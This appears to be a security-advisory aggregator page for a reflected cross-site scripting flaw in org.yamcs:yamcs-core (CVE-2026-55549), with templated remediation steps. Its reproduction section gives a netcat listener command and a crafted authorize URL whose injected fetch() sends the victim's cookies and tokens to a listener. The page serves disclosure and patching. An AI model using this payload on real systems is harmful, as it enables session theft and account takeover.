Cross-Site Scripting (XSS) in org.yamcs:yamcs-core (CVE-2026-55549)
Summary
Cross-site scripting in org.yamcs:yamcs-core (CVE-2026-55549). Confidential information can be exposed externally. Exploitable via fetch. Mitigation: upgrade to 5.9.4 or later.
Original description
The description as published by the source.
Attack type:
Unauthenticated remote
Impact:
Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.
Affected components: authorize.html, AuthHandler.java, HandlerContext.java
A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.
Using a specially crafted URL, you are able to execute a JavaScript alert() call in the browser:
You then use JavaScript to obtain the user's cookies and display them in the alert:
Finally, use the fetch function to send the user's cookies to a remote server which we controlled:
Now you can set these cookies in our own browser and login to Yamcs as the user.
Steps to Reproduce
- Start Yamcs
- Login as a user
- In a terminal, start a netcat listener:
nc -nlvp 8888
- Paste the following URL payload in the browser
http://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y">fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou
- You will receive a connection on your netcat listener containing the user's access token and refresh token.
Acknowledgements…
Source: GitHub Security Advisories (Global) NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2026-55549 has been found in org.yamcs:yamcs-core.
Attackers can target a specific entry point like fetch over the network to misuse the product.
Confidential information can be exposed externally. CVSS score: 6.5/10.
What to do: upgrade org.yamcs:yamcs-core to 5.9.4 or later.
If unsure, ask your IT team or search "org.yamcs:yamcs-core CVE-2026-55549" on the vendor's site.
CVE-2026-55549 (org.yamcs:yamcs-core) — CWE-79 / CVSS v3 6.5
Attack vector: remote (network-reachable) / unauthenticated
Attack surface: fetch
Patched: 5.9.4 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
Cross-site scripting (XSS) (CWE-79) exists in org.yamcs:yamcs-core. Attackers reach the vulnerable code path via fetch without authentication.
Check the vendor advisory for the affected versions of org.yamcs:yamcs-core. Attack surface: fetch.
Severity: Medium (CVSS 6.5/10). Confidential information can be exposed externally.
Update to 5.9.4.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Audit SBOM/dependencies to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
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1Identify exposure identify
Audit SBOM/dependencies for affected components.資産台帳・SBOM・依存マニフェストで org.yamcs:yamcs-core を使っているサービスとバージョンを洗い出す。
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2Apply patch patch
Upgrade org.yamcs:yamcs-core to 5.9.4ステージング環境で 5.9.4 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
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3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- package github.com
- web github.com
- web github.com
- web github.com
- web github.com